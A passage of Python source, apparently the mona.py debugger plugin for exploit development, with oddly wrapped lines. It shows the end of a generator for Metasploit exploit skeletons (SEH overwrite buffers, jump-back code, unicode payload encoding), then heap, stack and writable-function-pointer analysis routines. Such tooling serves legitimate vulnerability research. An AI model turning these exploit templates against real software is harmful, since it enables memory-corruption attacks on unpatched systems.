r = rand_text(target['Offset']) #junk\n"
exploitstr += "
buffe
r << generate_seh_record(target.ret)\n"
exploitstr += "
buffe
r << payload.encoded #" + str(shellcodesizeSEH) +" bytes of space\n"
exploitstr += "
# mor
e junk may be needed to trigger the exception\n"
else:
exploitstr += "
jmp_b
ack = Rex::Arch::X86.jmp_short(-payload.encoded.length-5)\n\n"
exploitstr += "
buffe
r = rand_text(target['Offset'] - payload.encoded.length - jmp_back.length) #jun
k\n"
exploitstr += "
buffe
r << payload.encoded\n"
exploitstr += "
buffe
r << jmp_back #jump back to start of payload.encoded\n"
exploitstr += "
buffe
r << '\\xeb\\xf9\\x41\\x41' #nseh, jump back to jmp_back\n"
exploitstr += "
buffe
r << [target.ret].pack('V') #seh\n"
else:
exploitstr += "
nseh = <inser
t 2 bytes that will acts as nseh walkover>\n"
exploitstr += "
align = <inse
rt routine to align a register to begin of payload and jump to it>\n\n"
exploitstr += "
padding = <in
sert bytes to fill space between alignment code and payload>\n\n"
exploitstr += "
# Metasploit
requires double encoding for unicode : Use alpha_xxxx encoder in the payload sec
tion\n"
exploitstr += "
# and then ma
nually encode with unicode inside the exploit section :\n\n"
exploitstr += "
enc = framewo
rk.encoders.create('x86/unicode_mixed')\n\n"
exploitstr += "
register_to_a
lign_to = <fill in the register name you will align to>\n\n"

exploitstr += "
enc.datastore
.import_options_from_hash({ 'BufferRegister' => register_to_align_to })\n\n"
exploitstr += "
unicodepayloa
d = enc.encode(payload.encoded, nil, nil, platform)\n\n"
exploitstr += "
buffer = rand
_text(target['Offset']) #unicode junk\n"
exploitstr += "
buffer << nse
h #Unicode walkover friendly dword\n"
exploitstr += "
buffer << tar
get['Ret'] #Unicode friendly p/p/r\n"
exploitstr += "
buffer << ali
gn\n"
exploitstr += "
buffer << pad
ding\n"
exploitstr += "
buffer << uni
codepayload\n"
if exploittype.find("network") > -1:
exploitstr += "\n
print_statu
s(\"Trying target #{target.name}...\")\n"
exploitstr += "
sock.put(buff
er)\n\n"
exploitstr += "
handler\n"
if exploittype == "fileformat":
exploitstr += "\n
file_create
(buffer)\n\n"
if exploittype.find("network") > -1:
exploitstr += "
disconnect\n\
n"
exploitstr += " end\n"
if mixin != "":
dbg.log("Metasploit 'include' se
ction :")
dbg.log("-----------------------------")
dbg.logLines(mixin)
dbg.log("Metasploit 'Targets' section :"
)
dbg.log("------------------------------"
)
dbg.logLines(targetstr.replace(" ","
"))
dbg.log("")
dbg.log("Metasploit 'exploit' function :
")
dbg.log("-------------------------------")
dbg.logLines(exploitstr.replace(" ","
"))
#write skeleton
objexploitfile_seh.write(skeletonheader+
"\n",exploitfile_seh)
objexploitfile_seh.write(skeletoninit+"\
n",exploitfile_seh)
objexploitfile_seh.write(targetstr,explo
itfile_seh)
objexploitfile_seh.write(skeletoninit2,e

xploitfile_seh)
objexploitfile_seh.write(exploitstr,expl
oitfile_seh)
objexploitfile_seh.write("end",exploitfi
le_seh)
else:
dbg.log("
Unable to suggest a buffer
layout because I couldn't find any good pointers",highlight=1)
return
#-----stacks-----#
def procStacks(args):
stacks = getStacks()
if len(stacks) > 0:
dbg.log("Stacks :")
dbg.log("--------")
for threadid in stacks:
dbg.log("Thread %s : Stack : 0x%s - 0x%s
(size : 0x%s)" % (str(threadid),toHex(stacks[threadid][0]),toHex(stacks[threadi
d][1]),toHex(stacks[threadid][1]-stacks[threadid][0])))
else:
dbg.log("No threads/stacks found !",highlight=1)
return
#------heapstuff-----#
def procHeap(args):
os = dbg.getOsVersion()
heapkey = 0
#first, print list of heaps
allheaps = []
try:
allheaps = dbg.getHeapsAddress()
except:
allheaps = []
dbg.log("Peb : 0x%08x, NtGlobalFlag : 0x%08x" % (dbg.get
PEBAddress(),getNtGlobalFlag()))
dbg.log("Heaps:")
dbg.log("------")
if len(allheaps) > 0:
for heap in allheaps:
segments = getSegmentList(heap)
segmentlist = []
for segment in segments:
segmentlist.append(segment)
if not win7mode:
segmentlist.sort()
segmentinfo = ""
for segment in segmentlist:
segmentinfo = segmentinfo + "0x%
08x" % segment + ","
segmentinfo = segmentinfo.strip(",")
segmentinfo = " : " + segmentinfo
defheap = ""
lfhheap = ""
if heap == getDefaultProcessHeap():

defheap = "* Default process hea


p"
if win7mode:
iHeap = MnHeap(heap)
if iHeap.usesLFH():
lfhheapaddress = iHeap.g
etLFHAddress()
lfhheap = "[LFH enabled,
_LFH_HEAP at 0x%08x]" % lfhheapaddress
dbg.log("0x%08x (%d segment(s)%s) %s %s"
% (heap,len(segments),segmentinfo,defheap,lfhheap))
else:
dbg.log(" ** No heaps found")
dbg.log("")
heapbase = 0
searchtype = ""
searchtypes = ["lal","lfh","all","segments", "chunks", "
layout", "fea", "bea"]
error = False
filterafter = ""
showdata = False
findvtablesize = True
expand = False
minstringlength = 32
if len(allheaps) > 0:
if "h" in args and type(args["h"]).__name__.lowe
r() != "bool":
hbase = args["h"].replace("0x","").repla
ce("0X","")
if not (isAddress(hbase) or hbase.lower(
) == "default"):
dbg.log("%s is an invalid addres
s" % args["h"], highlight=1)
return
else:
if hbase.lower() == "default":
heapbase = getDefaultPro
cessHeap()
else:
heapbase = hexStrToInt(h
base)
if "t" in args:
if type(args["t"]).__name__.lower() != "
bool":
searchtype = args["t"].lower().r
eplace('"','').replace("'","")
if searchtype == "blocks":
dbg.log("** Note : type
'blocks' has been replaced with 'chunks'",highlight=1)
dbg.log("")
searchtype = "chunks"
if not searchtype in searchtypes
:
searchtype = ""
else:

searchtype = ""
if "after" in args:
if type(args["after"]).__name__.lower()
!= "bool":
filterafter = args["after"].repl
ace('"','').replace("'","")
if "v" in args:
showdata = True
if "expand" in args:
expand = True
if "fast" in args:
findvtablesize = False
showdata = False
if searchtype == "" and not "stat" in args:
dbg.log("Please specify a valid searchty
pe -t",highlight=1)
dbg.log("Valid values are :",highlight=1
)
for val in searchtypes:
if val != "blocks":
dbg.log(" %s" % val,hi
ghlight=1)
error = True
if "h" in args and heapbase == 0:
dbg.log("Please specify a valid heap bas
e address -h",highlight=1)
error = True
if "size" in args:
if type(args["size"]).__name__.lower() !
= "bool":
size = args["size"].lower()
if size.startswith("0x"):
minstringlength = hexStr
ToInt(size)
else:
minstringlength = int(si
ze)
else:
dbg.log("Please provide a valid
size -size",highlight=1)
error = True
if "clearcache" in args:
dbg.forgetKnowledge("vtableCache")
dbg.log("[+] vtableCache cleared.")
else:
dbg.log("No heaps found",highlight=1)
return
heap_to_query = []
heapfound = False

if "h" in args:
for heap in allheaps:
if heapbase == heap:
heapfound = True
heap_to_query = [heapbase]
if not heapfound:
error = True
dbg.log("0x%08x is not a valid heap base
address" % heapbase,highlight=1)
else:
#show all heaps
for heap in allheaps:
heap_to_query.append(heap)
if error:
return
else:
statinfo = {}
logfile_b = ""
thislog_b = ""
logfile_l = ""
logfile_l = ""
if searchtype == "chunks" or searchtype == "all"
:
logfile_b = MnLog("heapchunks.txt")
thislog_b = logfile_b.reset()
if searchtype == "layout" or searchtype == "all"
:
logfile_l = MnLog("heaplayout.txt")
thislog_l = logfile_l.reset()
for heapbase in heap_to_query:
mHeap = MnHeap(heapbase)
heapbase_extra = ""
frontendinfo = []
frontendheapptr = 0
frontendheaptype = 0
if win7mode:
heapkey = mHeap.getEncodingKey()
if mHeap.usesLFH():
frontendheaptype = 0x2
heapbase_extra = " [LFH]
"
frontendheapptr = mHeap.
getLFHAddress()
frontendinfo = [frontendheaptype,fronten
dheapptr]
dbg.log("")
dbg.log("[+] Processing heap 0x%08x%s" %
(heapbase,heapbase_extra))
if searchtype == "fea":
if win7mode:
searchtype = "lfh"
else:
searchtype = "lal"
if searchtype == "bea":

searchtype = "freelist"
# LookAsideList
if searchtype == "lal" or (searchtype ==
"all" and not win7mode):
lalindex = 0
if win7mode:
dbg.log(" !! This versio
n of the OS doesn't have a LookAside List !!")
else:
dbg.log("[+] FrontEnd Al
locator : LookAsideList")
dbg.log("[+] Getting Loo
kAsideList for heap 0x%08x" % heapbase)
# do we have a LAL for t
his heap ?
FrontEndHeap = mHeap.get
FrontEndHeap()
if FrontEndHeap > 0:
dbg.log("
Fro
ntEndHeap: 0x%08x" % FrontEndHeap)
fea_lal = mHeap.
getLookAsideList()
dbg.log("

Nr

of (non-empty) LookAside Lists : %d" % len(fea_lal))


dbg.log("")
for lal_table_en
try in sorted(fea_lal.keys()):
expected
size = lal_table_entry * 8
nr_of_ch
unks = len(fea_lal[lal_table_entry])
lalhead
= struct.unpack('<L',dbg.readMemory(FrontEndHeap + (0x30 * lal_table_entry),4))[
0]
dbg.log(
"LAL [%d] @0x%08x, Expected Chunksize 0x%x (%d), Flink : 0x%08x" % (lal_table_en
try,FrontEndHeap + (0x30 * lal_table_entry),expectedsize,expectedsize,lalhead))
mHeap.sh
owLookAsideHead(lal_table_entry)
dbg.log(
" %d chunks:" % nr_of_chunks)
for chun
kindex in fea_lal[lal_table_entry]:
lalchunk = fea_lal[lal_table_entry][chunkindex]
chunksize = lalchunk.size * 8
flag = getHeapFlag(lalchunk.flag)
data = ""
if showdata:
data = bin2hex(dbg.readMemory(lalchunk.userptr,16))
dbg.log("
ChunkPtr: 0x%08x, UserPtr: 0x%08x, Flink: 0x%08x, ChunkSize: 0x%x,
UserSize: 0x%x, Userspace: 0x%x (%s) %s" % (lalchunk.chunkptr, lalchunk.userptr
,lalchunk.flink,chunksize,lalchunk.usersize,lalchunk.usersize+lalchunk.remaining

,flag,data))
if chunksize != expectedsize:
dbg.log("
? **",highlight=True)

^^ ** Warning - unexpected size value, header corrupted


dbg.log(

"")
else:
dbg.log("[+] No
LookAsideList found for this heap")
dbg.log("")
if searchtype == "lfh" or (searchtype ==
"all" and win7mode):
dbg.log("[+] FrontEnd Allocator
: Low Fragmentation Heap")
dbg.log("

** Not implemented

yet, stay tuned **")


if searchtype == "freelist" or (searchty
pe == "all" and not win7mode):
flindex = 0
dbg.log("[+] BackEnd Allocator :
FreeLists")
dbg.log("[+] Getting FreeLists f
or heap 0x%08x" % heapbase)
thisfreelist = mHeap.getFreeList
()
thisfreelistinusebitmap = mHeap.
getFreeListInUseBitmap()
bitmapstr = ""
for bit in thisfreelistinusebitm
ap:
bitmapstr += str(bit)
dbg.log("[+] FreeListsInUseBitma
p:")
printDataArray(bitmapstr,32,pref
ix="

")
# make sure the freelist is prin

ted in the correct order


flindex = 0
while flindex < 128:
if flindex in thisfreeli
st:
freelist_addy =
heapbase + 0x178 + (8 * flindex)
expectedsize = "
>1016"
expectedsize2 =
">0x%x" % 1016
if flindex != 0:
expected
size2 = str(8 * flindex)
expected
size = "0x%x" % (8 * flindex)
dbg.log("[+] Fre
eList[%02d] at 0x%08x, Expected size: %s (%s)" % (flindex,freelist_addy,expected
size,expectedsize2))
flindicator = 0

for flentry in t
hisfreelist[flindex]:
freelist
_chunk = thisfreelist[flindex][flentry]
chunksiz
e = freelist_chunk.size * 8
dbg.log(
"
ChunkPtr: 0x%08x, Header: 0x%x bytes, UserPtr: 0x%08x, Flink: 0x%08x, Blin
k: 0x%08x, ChunkSize: 0x%x (%d), Usersize: 0x%x (%d) " % (freelist_chunk.chunkpt
r, freelist_chunk.headersize, freelist_chunk.userptr,freelist_chunk.flink,freeli
st_chunk.blink,chunksize,chunksize,freelist_chunk.usersize,freelist_chunk.usersi
ze))
if flind
ex != 0 and chunksize != (8*flindex):
dbg.log("

** Header may be corrupted! **", highlight = True)


flindica

tor = 1
if flindex > 1 a
nd int(bitmapstr[flindex]) != flindicator:
dbg.log(
"
** FreeListsInUseBitmap mismatch for index %d! **" % flindex, highlight =
True)
flindex += 1
if searchtype == "layout" or searchtype
== "all":
segments = getSegmentsForHeap(he
apbase)
sortedsegments = []
global vtableCache
# read vtableCache from knowledg
e
vtableCache = dbg.getKnowledge("
vtableCache")
if vtableCache is None:
vtableCache = {}
for seg in segments:
sortedsegments.append(se
g)
if not win7mode:
sortedsegments.sort()
segmentcnt = 0
minstringlen = minstringlength
blockmem = []
nr_filter_matches = 0
vablocks = []
# VirtualAllocdBlocks
vachunks = mHeap.getVirtualAlloc
dBlocks()
infoblocks = {}
infoblocks["segments"] = sorteds
egments
if expand:
infoblocks["virtualalloc
dblocks"] = [vachunks]

for infotype in infoblocks:


heapdata = infoblocks[in
fotype]
for thisdata in heapdata
:
if infotype == "
segments":
seg = th
isdata
segmentc
nt += 1
segstart
= segments[seg][0]
segend =
segments[seg][1]
FirstEnt
ry = segments[seg][2]
LastVali
dEntry = segments[seg][3]
databloc
ks = walkSegment(FirstEntry,LastValidEntry,heapbase)
tolog =
"----- Heap 0x%08x%s, Segment 0x%08x - 0x%08x (%d/%d) -----" % (heapbase,heapbas
e_extra,segstart,segend,segmentcnt,len(sortedsegments))
if infotype == "
virtualallocdblocks":
databloc
ks = heapdata[0]
tolog =
"----- Heap 0x%08x%s, VirtualAllocdBlocks : %d" % (heapbase,heapbase_extra,len(d
atablocks))
logfile_l.write(
" ",thislog_l)
dbg.log(tolog)
logfile_l.write(
tolog,thislog_l)
sortedblocks = [
]
for block in dat
ablocks:
sortedbl
ocks.append(block)
sortedblocks.sor
t()
# for each block
, try to get info
# object ?
# BSTR ?
# str ?
for block in sor
tedblocks:
showinlo
g = False
thischun
k = datablocks[block]
unused =

thischunk.unused
headersi
ze = thischunk.headersize
flags =
getHeapFlag(thischunk.flag)
userptr
= block + headersize
psize =
thischunk.prevsize * 8
blocksiz
e = thischunk.size * 8
selfsize
= blocksize
usersize
= selfsize - unused
usersize
= blocksize - unused
extratxt
= ""
if infot
ype == "virtualallocdblocks":
selfsize = thischunk.commitsize * 8
blocksize = selfsize
usersize = selfsize - unused
nextblock = thischunk.flink
# read b
lock into memory
blockmem
= dbg.readMemory(block,blocksize)
# first,
find all strings (ascii, unicode and BSTR)
asciistr
ings = {}
unicodes
trings = {}
bstr = {
}
objects
= {}
asciistr
ings = getAllStringOffsets(blockmem,minstringlen)
# determ
ine remaining subsets of the original block
remainin
g = {}
curpos =
0
for stri
ngpos in asciistrings:
if stringpos > curpos:
remaining[curpos] = stringpos - curpos

curpos = asciistrings[stringpos]
if curpo
s < blocksize:
remaining[curpos] = blocksize
# search
for unicode in remaining subsets only - tx for the regex help Turboland !
for rems
tart in remaining:
remend = remaining[remstart]
thisunicodestrings = getAllUnicodeStringOffsets(blockmem[remstart:remend],minstr
inglen,remstart)
# append results to master list
for tus in thisunicodestrings:
unicodestrings[tus] = thisunicodestrings[tus]
# check
each unicode, maybe it's a BSTR
tomove =
[]
for unic
odeoffset in unicodestrings:
delta = unicodeoffset
size = (unicodestrings[unicodeoffset] - unicodeoffset)/2
if delta >= 4:
maybesize = struct.unpack('<L',blockmem[delta-3:delta+1])[0] # it's an offset, r
emember ?
if maybesize == (size*2):
tomove.append(unicodeoffset)
bstr[unicodeoffset] = unicodestrings[unicodeoffset]
for tode
l in tomove:
del unicodestrings[todel]
# get ob
jects too
# find a
ll unique objects
# again,
just store offset
objects
= {}
orderedo
bj = []
if __DEB
UGGERAPP__ == "WinDBG":

nrlines = int(float(blocksize) / 4)
cmd2run = "dds 0x%08x L 0x%x" % ((block + headersize),nrlines)
output = dbg.nativeCommand(cmd2run)
outputlines = output.split("\n")
for line in outputlines:
if line.find("::") > -1 and line.find("vftable") > -1:
parts = line.split(" ")
objconstr = ""
if len(parts) > 3:
objectptr = hexStrToInt(parts[0])
cnt = 2
objectinfo = ""
while cnt < len(parts):
objectinfo += parts[cnt] + " "
cnt += 1
parts2 = line.split("::")
parts2name = ""
pcnt = 0
while pcnt < len(parts2)-1:
parts2name = parts2name + "::" + parts2[pcnt]
pcnt += 1
parts3 = parts2name.split(" ")
if len(parts3) > 3:
objconstr = parts3[3]
if not objectptr in objects:
objects[objectptr-block] = [objectinfo,objconstr]
objsize = 0
if findvtablesize:
if not objconstr in vtableCache:
cmd2run = "u %s::CreateElement L 12" % objconstr

objoutput = dbg.nativeCommand(cmd2run)
if not "HeapAlloc" in objoutput:
cmd2run = "x %s::operator*" % objconstr
oplist = dbg.nativeCommand(cmd2run)
oplines = oplist.split("\n")
oppat = "%s::operator" % objconstr
for opline in oplines:
if oppat in opline and not "del" in opline:
lineparts = opline.split(" ")
cmd2run = "uf %s" % lineparts[0]
objoutput = dbg.nativeCommand(cmd2run)
break
if "HeapAlloc" in objoutput:
objlines = objoutput.split("\n")
lineindex = 0
for objline in objlines:
if "HeapAlloc" in objline:
if lineindex >= 3:
sizeline = objlines[lineindex-3]
if "push" in sizeline:
sizelineparts = sizeline.split("push")
if len(sizelineparts) > 1:
sizevalue = sizelineparts[len(sizelineparts)-1].replace(" ","").replace("h","")
try:
objsize = hexStrToInt(sizevalue)
# adjust allocation granulariy
remainsize = objsize - ((objsize / 8) * 8)
while remainsize != 0:
objsize += 1
remainsize = objsize - ((objsize / 8) * 8)

except:
#print traceback.format_exc()
objsize = 0
break
lineindex += 1
vtableCache[objconstr] = objsize
else:
objsize = vtableCache[objconstr]
# remove
object entries that belong to the same object
allobjec
ts = []
objectst
odelete = []
for optr
in objects:
allobjects.append(optr)
allobjec
ts.sort()
skipunti
l = 0
for optr
in allobjects:
if optr < skipuntil:
objectstodelete.append(optr)
else:
objname = objects[optr][1]
objsize = 0
try:
objsize = vtableCache[objname]
except:
objsize = 0
skipuntil = optr + objsize
# remove
vtable lines that are too close to each other
minvtabl
edistance = 0x0c
prevvnam
e = ""
prevptr

= 0
thisvnam
e = ""
for optr
in allobjects:
thisvname = objects[optr][1]
if thisvname == prevvname and (optr - prevptr) <= minvtabledistance:
if not optr in objectstodelete:
objectstodelete.append(optr)
else:
prevptr = optr
prevvname = thisvname
for vtab
leptr in objectstodelete:
del objects[vtableptr]
for obj
in objects:
orderedobj.append(obj)
for ascs
tring in asciistrings:
orderedobj.append(ascstring)
for unic
odestring in unicodestrings:
orderedobj.append(unicodestring)
for bstr
obj in bstr:
orderedobj.append(bstrobj)
orderedo
bj.sort()
# print
out details for this chunk
chunkpre
fix = ""
fieldnam
e1 = "Usersize"
fieldnam
e2 = "ChunkSize"
if infot
ype == "virtualallocdblocks":

chunkprefix = "VA "


fieldname1 = "CommitSize"
tolog =
"%sChunk 0x%08x (%s 0x%x, %s 0x%x) : %s" % (chunkprefix,block,fieldname1,usersiz
e,fieldname2,usersize+unused,flags)
if showd
ata:
dbg.log(tolog)
logfile_
l.write(tolog,thislog_l)
previous
ptr = block
previous
size = 0
showinlo
g = False
for ptr
in orderedobj:
ptrtype = ""
ptrinfo = ""
data = ""
alldata = ""
blockinfo = ""
ptrbytes = 0
endptr = 0
datasize = 0
ptrchars = 0
infoptr = block + ptr
endptr = 0
if ptr in asciistrings:
ptrtype = "String"
dataend = asciistrings[ptr]
data = blockmem[ptr:dataend]
alldata = data
ptrbytes = len(data)
ptrchars = ptrbytes
datasize = ptrbytes

if ptrchars > 100:


data = data[0:100]+"..."
blockinfo = "%s (Data : 0x%x/%d bytes, 0x%x/%d chars) : %s" % (ptrtype,ptrbytes,
ptrbytes,ptrchars,ptrchars,data)
infoptr = block + ptr
endptr = infoptr + ptrchars - 1 # need -1
elif ptr in bstr:
ptrtype = "BSTR"
dataend = bstr[ptr]
data = blockmem[ptr:dataend].replace("\x00","")
alldata = data
ptrchars = len(data)
ptrbytes = ptrchars*2
datasize = ptrbytes+6
infoptr = block + ptr - 3
if ptrchars > 100:
data = data[0:100]+"..."
blockinfo = "%s 0x%x/%d bytes (Data : 0x%x/%d bytes, 0x%x/%d chars) : %s" % (ptr
type,ptrbytes+6,ptrbytes+6,ptrbytes,ptrbytes,ptrchars,ptrchars,data)
endptr = infoptr + ptrbytes + 6
elif ptr in unicodestrings:
ptrtype = "Unicode"
dataend = unicodestrings[ptr]
data = blockmem[ptr:dataend].replace("\x00","")
alldata = ""
ptrchars = len(data)
ptrbytes = ptrchars * 2
datasize = ptrbytes
if ptrchars > 100:
data = data[0:100]+"..."
blockinfo = "%s (0x%x/%d bytes, 0x%x/%d chars) : %s" % (ptrtype,ptrbytes,ptrbyte
s,ptrchars,ptrchars,data)

endptr = infoptr + ptrbytes + 2


elif ptr in objects:
ptrtype = "Object"
data = objects[ptr][0]
vtablename = objects[ptr][1]
datasize = 0
if vtablename in vtableCache:
datasize = vtableCache[vtablename]
alldata = data
if datasize > 0:
blockinfo = "%s (0x%x bytes): %s" % (ptrtype,datasize,data)
else:
blockinfo = "%s : %s" % (ptrtype,data)
endptr = infoptr + datasize
# calculate delta
slackspace = infoptr - previousptr
if endptr > 0 and not ptrtype=="Object":
if slackspace >= 0:
tolog = " +%04x @ %08x->%08x : %s" % (slackspace,infoptr,endptr,blockinfo)
else:
tolog = "

@ %08x->%08x : %s" % (infoptr,endptr,blockinfo)

else:
if slackspace >= 0:
if endptr != infoptr:
tolog = " +%04x @ %08x->%08x : %s" % (slackspace,infoptr,endptr,blockinfo)
else:
tolog = " +%04x @ %08x

: %s" % (slackspace,infoptr,blockinfo)

else:
tolog = "

@ %08x

: %s" % (infoptr,blockinfo)

if filterafter == "" or (filterafter != "" and filterafter in alldata):


showinlog = True # keep this for the entire block
if (filterafter != ""):
nr_filter_matches += 1
if showinlog:
if showdata:
dbg.log(tolog)
logfile_l.write(tolog,thislog_l)
previousptr = endptr
previoussize = datasize
# save vtableCache again
if filterafter != "":
tolog = "Nr of filter ma
tches: %d" % nr_filter_matches
if showdata:
dbg.log("")
dbg.log(tolog)
logfile_l.write("",thisl
og_l)
logfile_l.write(tolog,th
islog_l)
dbg.addKnowledge("vtableCache",v
tableCache)
if searchtype in ["segments","all","chun
ks"] or "stat" in args:
segments = getSegmentsForHeap(he
apbase)
dbg.log("Segment List for heap 0
x%08x:" % (heapbase))
dbg.log("--------------------------------")
sortedsegments = []
for seg in segments:
sortedsegments.append(se
g)
if not win7mode:
sortedsegments.sort()
vablocks = []
# VirtualAllocdBlocks
vachunks = mHeap.getVirtualAlloc
dBlocks()
infoblocks = {}
infoblocks["segments"] = sorteds
egments
if searchtype in ["all","chunks"
]:

infoblocks["virtualalloc
dblocks"] = [vachunks]
for infotype in infoblocks:
heapdata = infoblocks[in
fotype]
for thisdata in heapdata
:
tolog = ""
if infotype == "
segments":
# 0 : se
gmentstart
# 1 : se
gmentend
# 2 : fi
rstentry
# 3 : la
stentry
seg = th
isdata
segstart
= segments[seg][0]
segend =
segments[seg][1]
segsize
= segend-segstart
FirstEnt
ry = segments[seg][2]
LastVali
dEntry = segments[seg][3]
tolog =
"Segment 0x%08x - 0x%08x (FirstEntry: 0x%08x - LastValidEntry: 0x%08x): 0x%08x b
ytes" % (segstart,segend,FirstEntry,LastValidEntry, segsize)
if infotype == "
virtualallocdblocks":
vablocks
= heapdata
tolog =
"Heap : 0x%08x%s : VirtualAllocdBlocks : %d " % (heapbase,heapbase_extra,len(vac
hunks))
#dbg.log("")
dbg.log(tolog)
if searchtype ==
"chunks" or "stat" in args:
try:
logfile_b.write("Heap: 0x%08x%s" % (heapbase,heapbase_extra),thislog_b)
#logfile_b.write("",thislog_b)
logfile_b.write(tolog,thislog_b)
except:
pass
if infot
ype == "segments":
datablocks = walkSegment(FirstEntry,LastValidEntry,heapbase)
else:

datablocks = heapdata[0]
tolog =
"

Nr of chunks : %d " % len(datablocks)


dbg.log(

tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
if len(d
atablocks) > 0:
tolog = "

_HEAP_ENTRY psize

size unused UserPtr

dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
sortedblocks = []
for block in datablocks:
sortedblocks.append(block)
sortedblocks.sort()
nextblock = 0
segstatinfo = {}
for block in sortedblocks:
showinlog = False
thischunk = datablocks[block]
unused = thischunk.unused
headersize = thischunk.headersize
flagtxt = getHeapFlag(thischunk.flag)
userptr = block + headersize
psize = thischunk.prevsize * 8
blocksize = thischunk.size * 8
selfsize = blocksize

UserSize"

usersize = selfsize - unused


usersize = blocksize - unused
extratxt = ""
if infotype == "virtualallocdblocks":
nextblock = thischunk.flink
extratxt = " (0x%x bytes committed)" % (thischunk.commitsize * 8)
else:
nextblock = block + blocksize
if not "stat" in args:
tolog = "
%08x %05x %05x %05x %08x %08x (%d) (%s) %s" % (block,psize
,selfsize,unused,block+headersize,usersize,usersize,flagtxt,extratxt)
dbg.log(tolog)
logfile_b.write(tolog,thislog_b)
else:
if not usersize in segstatinfo:
segstatinfo[usersize] = 1
else:
segstatinfo[usersize] += 1
if nextblock > 0 and nextblock < LastValidEntry:
if not "stat" in args:
nextblock -= headersize
restbytes = LastValidEntry - nextblock
tolog = "
0x%08x - 0x%08x (end of segment) : 0x%x (%d) uncommitted bytes"
% (nextblock,LastValidEntry,restbytes,restbytes)
dbg.log(tolog)
logfile_b.write(tolog,thislog_b)
if "stat" in args:
statinfo[segstart] = segstatinfo
# show statistics
orderedsizes = []

totalalloc = 0
for thissize in segstatinfo:
orderedsizes.append(thissize)
totalalloc += segstatinfo[thissize]
orderedsizes.sort(reverse=True)
tolog = "

Segment Statistics:"

dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
for thissize in orderedsizes:
nrblocks = segstatinfo[thissize]
percentage = (float(nrblocks) / float(totalalloc)) * 100
tolog = "
Size : 0x%x (%d) : %d chunks (%.2f %%)" % (thissize,thissize,nrbloc
ks,percentage)
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
tolog = "

Total chunks : %d" % totalalloc

dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
tolog = ""
try:
logfile_b.write(tolog,thislog_b)

except:
pass
dbg.log("")
dbg.log("")
if "stat" in args and len(statinfo) > 0:
tolog = "Global statistics"
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
globalstats = {}
allalloc = 0
for seginfo in statinfo:
segmentstats = statinfo[seginfo]
for size in segmentstats:
allalloc += segmentstats
[size]
if not size in globalsta
ts:
globalstats[size
] = segmentstats[size]
else:
globalstats[size
] += segmentstats[size]
orderedstats = []
for size in globalstats:
orderedstats.append(size)
orderedstats.sort(reverse=True)
for thissize in orderedstats:
nrblocks = globalstats[thissize]
percentage = (float(nrblocks) /
float(allalloc)) * 100
tolog = " Size : 0x%x (%d) : %d
chunks (%.2f %%)" % (thissize,thissize,nrblocks,percentage)
dbg.log(tolog)
try:
logfile_b.write(tolog,th
islog_b)
except:
pass
tolog = " Total chunks : %d" % allalloc
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
#dbg.log("%s" % "*" * 90)
return
def procGetIAT(args):
return procGetxAT(args,"iat")
def procGetEAT(args):

return procGetxAT(args,"eat")
def procFwptr(args):
modulecriteria = {}
criteria = {}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
modulestosearch = getModulesToQuery(modulecriteria)
allpages = dbg.getMemoryPages()
orderedpages = []
for page in allpages.keys():
orderedpages.append(page)
orderedpages.sort()
pagestoquery = {}
fwptrs = {}
objwptr = MnLog("wptr.txt")
wptrfile = objwptr.reset()
setbps = False
dopatch = False
dofreelist = False
if "bp" in args:
setbps = True
if "patch" in args:
dopatch = True
if "freelist" in args:
dofreelist = True
chunksize = 0
offset = 0
if "chunksize" in args:
if type(args["chunksize"]).__name__.lower() != "
bool":
try:
if str(args["chunksize"]).lower(
).startswith("0x"):
chunksize = int(args["ch
unksize"],16)
else:
chunksize = int(args["ch
unksize"])
except:
chunksize = 0
if chunksize == 0 or chunksize > 0xffff:
dbg.log("[!] Invalid chunksize specified
")
if chunksize > 0xffff:
dbg.log("[!] Chunksize must be <
= 0xffff")
chunksize == 0
return
else:
dbg.log("[+] Will filter on chunksize 0x
%0x" % chunksize )
if dofreelist:

if "offset" in args:
if type(args["offset"]).__name__.lower()
!= "bool":
try:
if str(args["offset"]).l
ower().startswith("0x"):
offset = int(arg
s["offset"],16)
else:
offset = int(arg
s["offset"])
except:
offset = 0
if offset == 0:
dbg.log("[!] Invalid offset spec
ified")
else:
dbg.log("[+] Will add 0x%0x byte
s between flink/blink and fwptr" % offset )
if not silent:
if setbps:
dbg.log("[+] Will set breakpoints on fou
nd CALL/JMP")
if dopatch:
dbg.log("[+] Will patch target for CALL/
JMP with 0x41414141")
dbg.log("[+] Extracting .text/.code sections fro
m %d modules" % len(modulestosearch))
dbg.updateLog()
if len(modulestosearch) > 0:
for thismodule in modulestosearch:
# find text section
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress(
)
pagesize = page.getSize()
ptr = MnPointer(pagestart)
mod = ""
sectionname = ""
try:
mod = ptr.belongsTo()
if mod == thismodule:
sectionname = pa
ge.getSection()
if sectionname =
= ".text" or sectionname == ".code":
pagestoq
uery[mod] = [pagestart,pagestart+pagesize]
break
except:
pass
if len(pagestoquery) > 0:
if not silent:
dbg.log("[+] Analysing .text/.code secti
ons")
dbg.updateLog()
for modname in pagestoquery:

tmodcnt = 0
nr_sizematch = 0
pagestart = pagestoquery[modname][0]
pageend = pagestoquery[modname][1]
if not silent:
dbg.log("
- Carving through %
s (0x%08x - 0x%08x)" % (modname,pagestart,pageend))
dbg.updateLog()
loc = pagestart
while loc < pageend:
try:
thisinstr = dbg.disasm(l
oc)
instrbytes = thisinstr.g
etDump()
if thisinstr.isJmp() or
thisinstr.isCall():
# check if it's
reading a pointer from somewhere
instrtext = this
instr.getDisasm()
opcodepart = ins
trbytes.upper()[0:4]
if opcodepart ==
"FF15" or opcodepart == "FF25":
if "[" i
n instrtext and "]" in instrtext:
parts1 = instrtext.split("[")
if len(parts1) > 1:
parts2 = parts1[1].split("]")
addy = parts2[0]
# get the actual value and check if it's writeable
if "(" in addy and ")" in addy:
parts1 = addy.split("(")
parts2 = parts1[1].split(")")
addy = parts2[0]
if isHexValue(addy):
addyval = hexStrToInt(addy)
access = getPointerAccess(addyval)
